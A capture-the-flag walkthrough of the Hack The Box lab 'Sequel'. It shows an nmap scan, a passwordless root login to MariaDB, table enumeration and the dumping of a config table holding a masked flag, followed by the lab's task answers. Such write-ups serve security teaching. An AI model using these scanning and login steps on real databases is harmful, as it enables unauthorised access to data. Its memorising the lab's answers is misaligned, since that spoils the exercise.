Sequel is a Very Easy Linux machine that demonstrates the risks of misconfigured MySQL/MariaDB services allowing root access without a password. The machine showcases how to enumerate databases, tables, and extract sensitive information including flags through SQL queries.

Path to root, at a glance:

Scan the target → discover port 3306 (MySQL/MariaDB) open
Connect to MariaDB with root user and no password
Enumerate databases → find htb database
Explore tables → find config table containing the flag

Nmap

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Sequel]
└─$ sudo nmap -Pn -A 10.129.124.205
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-30 10:39 -0400
Nmap scan report for 10.129.124.205
Host is up (0.40s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
3306/tcp open  mysql?
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|   Thread ID: 66
|   Capabilities flags: 63486
|   Some Capabilities: Support41Auth, Speaks41ProtocolOld, ConnectWithDatabase, SupportsCompression, InteractiveClient, SupportsTransactions, DontAllowDatabaseTableColumn, LongColumnFlag, ODBCClient, IgnoreSigpipes, FoundRows, SupportsLoadDataLocal, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: =:IAJ1U7S}=Wz&Gq(p{;
|_  Auth Plugin Name: mysql_native_password
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   416.43 ms 10.10.14.1
2   416.68 ms 10.129.124.205

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 257.02 seconds

The scan reveals:

Port 3306/tcp: MySQL/MariaDB service
Version: MariaDB 10.3.27 (Debian)
Status: Accepting connections

The Service: MariaDB

MariaDB is a community-developed fork of MySQL. Key characteristics:

Port: 3306 (default)
Authentication: Username/password (often misconfigured)
Type: Relational Database Management System (RDBMS)
Common vulnerabilities: Default credentials, no password, weak permissions

Exploitation: Database Misconfiguration

Initial Connection Attempt

First attempt to connect with root user:

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Sequel]
└─$ mysql -h 10.129.124.205 -u root
ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it

The error indicates SSL issues. We need to disable SSL:

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Sequel]
└─$ mysql --ssl -h 10.129.124.205 -u root --skip-ssl
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 76
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Note: No password was required! The MariaDB server is configured to allow root access without authentication.

Database Enumeration

List all databases:

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| htb                |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.461 sec)

The htb database looks promising.

Exploring the `htb` Database

Select the database:

MariaDB [(none)]> use htb;
Database changed

List tables in the database:

MariaDB [htb]> show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config        |
| users         |
+---------------+
2 rows in set (0.562 sec)

Examining the `users` Table

MariaDB [htb]> select * from users;
+----+----------+------------------+
| id | username | email            |
+----+----------+------------------+
|  1 | admin    | admin@sequel.htb |
|  2 | lara     | lara@sequel.htb  |
|  3 | sam      | sam@sequel.htb   |
|  4 | mary     | mary@sequel.htb  |
+----+----------+------------------+
4 rows in set (0.467 sec)

The users table contains admin and user emails but no flag.

Finding the Flag

Examine the config table:

MariaDB [htb]> select * from config;
+----+-----------------------+----------------------------------+
| id | name                  | value                            |
+----+-----------------------+----------------------------------+
|  1 | timeout               | 60s                              |
|  2 | security              | default                          |
|  3 | auto_logon            | false                            |
|  4 | max_size              | 2M                               |
|  5 | flag                  | 7b4be************************da8 |
|  6 | enable_uploads        | false                            |
|  7 | authentication_method | radius                           |
+----+-----------------------+----------------------------------+
7 rows in set (0.477 sec)

The flag is in the config table under the flag field!

Flag Captured !!!

Task Answers

During our scan, which port do we find serving MySQL? 3306
What community-developed MySQL version is the target running? MariaDB
When using the MySQL command line client, what switch do we need to use in order to specify a login username? -u
Which username allows us to log into this MariaDB instance without providing a password? root
In SQL, what symbol can we use to specify within the query that we want to display everything inside a table? *
In SQL, what symbol do we need to end each query with? ;
There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that’s unique to this host? htb
What is the command in MySQL to select a database to interact with? use
What is the command in MySQL to show the different columns for a given table? describe
Which table has an entry that contains a value called flag in one of it’s columns? config